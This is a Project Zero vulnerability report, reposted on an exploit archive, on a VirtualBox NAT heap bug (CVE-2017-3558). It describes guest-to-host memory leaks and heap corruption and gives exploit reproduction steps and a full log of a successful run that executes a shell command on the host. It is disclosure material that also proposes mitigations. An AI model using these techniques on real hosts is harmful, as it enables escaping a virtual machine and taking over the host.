Author

Google Security Research

Risk

[

Security Risk High

]

0day-ID

0day-ID-27646

Category

local exploits

Date add

20-04-2017

CVE

CVE-2017-3558

Platform

windows

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1086
 
There is a vulnerability in VirtualBox that permits an attacker with
root privileges in a virtual machine with a NAT network interface to
corrupt the memory of the userspace host process and leak memory
contents from the userspace host process. This probably permits an
attacker with root privileges inside the guest to execute arbitrary
code in userspace context on the host.
 
The issue is in the copy of slirp that is shipped in VirtualBox, in
the function ip_input() in src/VBox/Devices/Network/slirp/ip_input.c:
 
void
ip_input(PNATState pData, struct mbuf *m)
{
    register struct ip *ip;
    [...]
    ip = mtod(m, struct ip *);
    [...]
    {
        [...]
        /*
         * XXX: TODO: this is most likely a leftover spooky action at
         * a distance from alias_dns.c host resolver code and can be
         * g/c'ed.
         */
        if (m->m_len != RT_N2H_U16(ip->ip_len))
            m->m_len = RT_N2H_U16(ip->ip_len);
    }
    [...]
}
 
This code does not seem to be present in the upstream version of
slirp.
 
The assignment `m->m_len = RT_N2H_U16(ip->ip_len)` overwrites the
trusted length field `m_len` of the buffer `m` with the untrusted
length field in the IP header of the received packet. At this point,
the IP header has not been validated at all. All following code that
processes packets relies on the correctness of `m->m_len`, so by
sending an IP header with a bogus length field, an attacker can cause
all following code to operate on out-of-bounds data.
 
In particular, an attacker can use this bug to obtain the following
attack primitives:
 
 - The attacker can leak out-of-bounds heap data by sending a UDP
   packet to a host on the internet with checksum 0 and a bogus length
   field in the IP header.
   The host process will send a (possibly fragmented) UDP packet to
   the specified host on the internet that includes out-of-bounds heap
   data.
   This method requires a cooperating host on the internet that the VM
   can talk to using the NAT network interface.
 - The attacker can leak out-of-bounds heap data by sending an ICMP
   Echo Request with a bogus length field in the IP header
   to the CTL_DNS address. The VM host then responds with an ICMP Echo
   Reply that includes out-of-bounds heap data.
   This approach has the advantage of not requiring a cooperating,
   reachable server on the internet, but has the disadvantage that
   the attacker needs to guess the 16-bit ICMP checksum.
 - The attacker can corrupt the heap by sending a UDP packet with a
   bogus length whose IP header contains IP options. The host process
   will then attempt to strip the IP headers via ip_input -> udp_input
   -> ip_stripoptions -> memcpy, which moves the IP payload - including
   out-of-bounds heap data - to a lower address. This can
   in particular be abused to overwrite a slirp heap chunk header
   (struct item) with attacker-controlled packet data.
 
I have attached a crash PoC. Copy it into a VM whose only network
interface is a NAT interface, compile it with
"gcc -o crasher crasher.c" and run it with "sudo ./crasher". The VM
should die after a few seconds, with something like this appearing in
dmesg on the host:
 
[107463.674598] traps: EMT-0[66638] general protection ip:7fc6a26076e8 sp:7fc6d2e27ad0 error:0 in VBoxDD.so[7fc6a24e2000+36d000]
 
I have tested my crasher in VirtualBox version "5.1.14 r112924".
 
The bug was introduced in SVN revision
<https://www.virtualbox.org/changeset/23155/vbox>.
 
################################################################################
 
Without modifications,
the exploit should work under the following conditions:
 
 - host runs Ubuntu 14.04 (trusty), 64-bit
 - host uses libc6 package version 2.19-0ubuntu6.9 (most recent
   version)
 - VirtualBox version is 5.1.14~112924~Ubuntu~trusty (official build)
   (most recent version)
 - guest runs Linux
 - main network interface of the VM is a NAT interface (default
   config)
 
The exploit is able to run an arbitrary shell command on the host
system. The command is hardcoded to "id > /tmp/owned_from_guest".
 
 
Some things about the exploit that might be of interest to you:
 
The exploit operates on memory that belongs to the zone zone_clust of
the UMA heap.
The UMA heap is relatively easy to attack, partly because the sanity
checks are compiled out in userland code in release builds. For
example, the check
`Assert((zone->magic == ZONE_MAGIC && zone == it->zone))` in
uma_zfree_arg() becomes a no-op, and the LIST_CHECKs in LIST_REMOVE()
have no effect. In particular, because the `zone == it->zone`
assertion is not compiled into release builds, an attacker who can
overwrite an item header and point its member ->zone to a controlled
memory area can cause an arbitrary function it->zone->pfFini to be
called when the item whose header was overwritten is freed.
It might make sense to turn assertions in the allocator into something
that is also active in release builds.
 
For exploiting the bug, it was very helpful that the VirtualBox binary
is built as non-relocatable, meaning that the binary is always loaded
at the same virtual address. The exploit uses a hardcoded address to
leak the contents of the GOT (global offset table), which can then be
used to locate the addresses of libc functions.
It's probably a good idea to build the VirtualBox binaries as
relocatable code to prevent attacks from simply using
hardcoded addresses - and this mitigation is pretty simple to
implement, you just have to add some compiler flags (`-pie -fPIE`
or so). To verify that it's working, run VirtualBox, then as root,
grep the contents of /proc/{pid of VirtualBox}/maps for VirtualBox and
verify that the mappings don't have low ranges like 00400000-00408000,
but use high addresses like 7ffb0f62e000 instead.
 
As far as I can tell from the source, on a Linux or Mac host, an
attacker who has compromised the VM host process can also run
arbitrary code in the host kernel using the ioctls SUP_IOCTL_LDR_OPEN
and SUP_IOCTL_LDR_LOAD. If that is indeed the case, it might make
sense to reduce the privileges of the userland host code by
sandboxing components like the shared folder host and the NAT
implementation and/or by rearchitecting VirtualBox so that the host
kernel doesn't trust the host userland binary.
 
 
To reproduce the bug with the attached exploit:
 
 - On the host or some other box on the internet, compile and run the
   helper:
 
       $ gcc -o helper helper.c -Wall
       $ ./helper 
 
 - In the guest, compile the exploit:
 
       # gcc -o bcs bcs.c -Wall -std=gnu99
 
   (This may throw some harmless format string warnings depending on
   whether the guest is 64-bit.)
 
 - To improve reliability, ensure that the guest isn't
   running any network services or clients, save the guest VM and
   restore it. (Saving and restoring the guest resets the Slirp heap.)
 
 - In the guest, as root, run the exploit. Pass the helper host's IP
   address as argument.
 
       # ./bcs xxx.xxx.xxx.xxx
 
 - If the exploit was successful, there should be a new file
   "/tmp/owned_from_guest" on the host that contains the output of the
   "id" command.
 
A successful run of the exploit should look like this:
 
==================================================================
# ./bcs {censored}
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \([^ ]*\) .*|\1|' | tr -d '\n'>>>
enp0s3
================================
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \([^ ]*\) .*|\1|' | tr -d '\n'>>>
10.0.2.15
================================
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \([^ ]*\) .*|\1|' | tr -d '\n'>>>
10.0.2.2
================================
systemf: <<<ping -c3 -w4 10.0.2.2>>>
PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data.
64 bytes from 10.0.2.2: icmp_seq=2 ttl=64 time=0.375 ms
64 bytes from 10.0.2.2: icmp_seq=3 ttl=64 time=0.277 ms
64 bytes from 10.0.2.2: icmp_seq=4 ttl=64 time=0.297 ms
 
--- 10.0.2.2 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3054ms
rtt min/avg/max/mdev = 0.277/0.316/0.375/0.044 ms
 
================================
systemf: <<<arp -s 10.0.2.2 01:23:45:67:89:ab>>>
systemf: <<<iptables -I OUTPUT -o enp0s3 -j DROP>>>
defragging...
defragged
trying to leak...
 
got UDP, len=68
leak_udp successful
got data
00000000  01 00 ad de 00 00 00 00  00 e6 b4 48 56 7f 00 00  |...........HV...|
00000010  01 00 00 00 00 00 00 00  58 3e 26 35 56 7f 00 00  |........X>&5V...|
00000020  18 2e 26 35 56 7f 00 00                           |..&5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f5635263e58
prev: 0x7f5635262e00
defragging...
defragged
placed shell command at 0x7f5635263676
freelist head at 0x7f5648b4e690
trying to leak...
 
got UDP, len=68
leak_udp successful
got data
00000000  01 00 ad de 00 00 00 00  00 e6 b4 48 56 7f 00 00  |...........HV...|
00000010  01 00 00 00 00 00 00 00  a0 ec 25 35 56 7f 00 00  |..........%5V...|
00000020  60 dc 25 35 56 7f 00 00                           |`.%5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f563525eca0
prev: 0x7f563525dc48
defragging...
defragged
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525fd42, fake_zone at 0x7f563525fd4a
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525f516, fake_zone at 0x7f563525f51e
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525ecea, fake_zone at 0x7f563525ecf2
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525e4be, fake_zone at 0x7f563525e4c6
send_udp_datashift(shift_amount=40, data_length=9368)
send_udp_datashift(shift_amount=36, data_length=9368)
sending packet2, ip_off=0x28, ip_id=0x1a
trying to leak GOT from fake chunk...
 
got UDP, len=540
leak_udp successful
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200
defragging...
defragged
 
got UDP, len=540
leak_udp successful
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  b0 09 c0 97 56 7f 00 00  b6 0f 40 00 00 00 00 00  |....V.....@.....|
00000020  10 9d c3 97 56 7f 00 00  a0 a0 c3 97 56 7f 00 00  |....V.......V...|
00000030  e6 0f 40 00 00 00 00 00  90 28 c7 97 56 7f 00 00  |..@......(..V...|
00000040  20 9d c3 97 56 7f 00 00  e0 03 15 98 56 7f 00 00  | ...V.......V...|
00000050  26 10 40 00 00 00 00 00  36 10 40 00 00 00 00 00  |&.@.....6.@.....|
00000060  50 9e b9 97 56 7f 00 00  56 10 40 00 00 00 00 00  |P...V...V.@.....|
00000070  80 30 c6 97 56 7f 00 00  10 fc c0 97 56 7f 00 00  |.0..V.......V...|
00000080  86 10 40 00 00 00 00 00  96 10 40 00 00 00 00 00  |..@.......@.....|
00000090  c0 fe c0 97 56 7f 00 00  80 2c c7 97 56 7f 00 00  |....V....,..V...|
000000a0  d0 9f c3 97 56 7f 00 00  30 9d c3 97 56 7f 00 00  |....V...0...V...|
000000b0  60 28 c7 97 56 7f 00 00  90 e0 f3 97 56 7f 00 00  |`(..V.......V...|
000000c0  70 c8 c6 97 56 7f 00 00  16 11 40 00 00 00 00 00  |p...V.....@.....|
000000d0  30 0c c8 97 56 7f 00 00  a0 c8 c6 97 56 7f 00 00  |0...V.......V...|
000000e0  60 c9 c6 97 56 7f 00 00  d0 0b 15 98 56 7f 00 00  |`...V.......V...|
000000f0  66 11 40 00 00 00 00 00  76 11 40 00 00 00 00 00  |f.@.....v.@.....|
00000100  86 11 40 00 00 00 00 00  96 11 40 00 00 00 00 00  |..@.......@.....|
00000110  50 e1 f3 97 56 7f 00 00  b6 11 40 00 00 00 00 00  |P...V.....@.....|
00000120  c6 11 40 00 00 00 00 00  00 00 00 00 00 00 00 00  |..@.............|
00000130  00 00 00 00 00 00 00 00  ff ff ff ff 00 00 00 00  |................|
00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000160  00 00 00 00 00 00 00 00  0c 00 00 00 00 00 00 00  |................|
00000170  00 00 00 00 22 05 08 20  00 20 00 00 88 13 00 00  |....".. . ......|
00000180  81 cb 05 00 02 00 00 00  b9 4b 40 00 00 00 00 00  |.........K@.....|
00000190  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001a0  00 00 00 00 00 00 00 00  2f 75 73 72 2f 6c 69 62  |......../usr/lib|
000001b0  2f 76 69 72 74 75 61 6c  62 6f 78 00 56 69 72 74  |/virtualbox.Virt|
000001c0  75 61 6c 42 6f 78 00 00  00 00 00 00 00 00 00 00  |ualBox..........|
000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200
strlen at 0x7f5697c009b0
system() at 0x7f5697bbe590
calling system()...
defragging...
defragged
trying to leak...
 
got UDP, len=68
leak_udp successful
got data
00000000  01 00 ad de 00 00 00 00  00 e6 b4 48 56 7f 00 00  |...........HV...|
00000010  01 00 00 00 00 00 00 00  84 cd 0f 35 56 7f 00 00  |...........5V...|
00000020  44 bd 0f 35 56 7f 00 00                           |D..5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f56350fcd84
prev: 0x7f56350fbd2c
defragging...
defragged
fake zone packet item at 0x7f56350fc558, dummy_next at 0x7f56350fc5a2, fake_zone at 0x7f56350fc5aa
send_udp_datashift(shift_amount=40, data_length=3092)
send_udp_datashift(shift_amount=36, data_length=3092)
sending packet2, ip_off=0xa, ip_id=0x27
did that work?
systemf: <<<iptables -D OUTPUT -o enp0s3 -j DROP>>>
==================================================================
 
If the exploit crashes, you'll have to remove the firewall rule the
exploit added with `iptables -D OUTPUT -o {interface} -j DROP` inside
the VM to restore network connectivity.

#  0day.today [2024-11-15]  #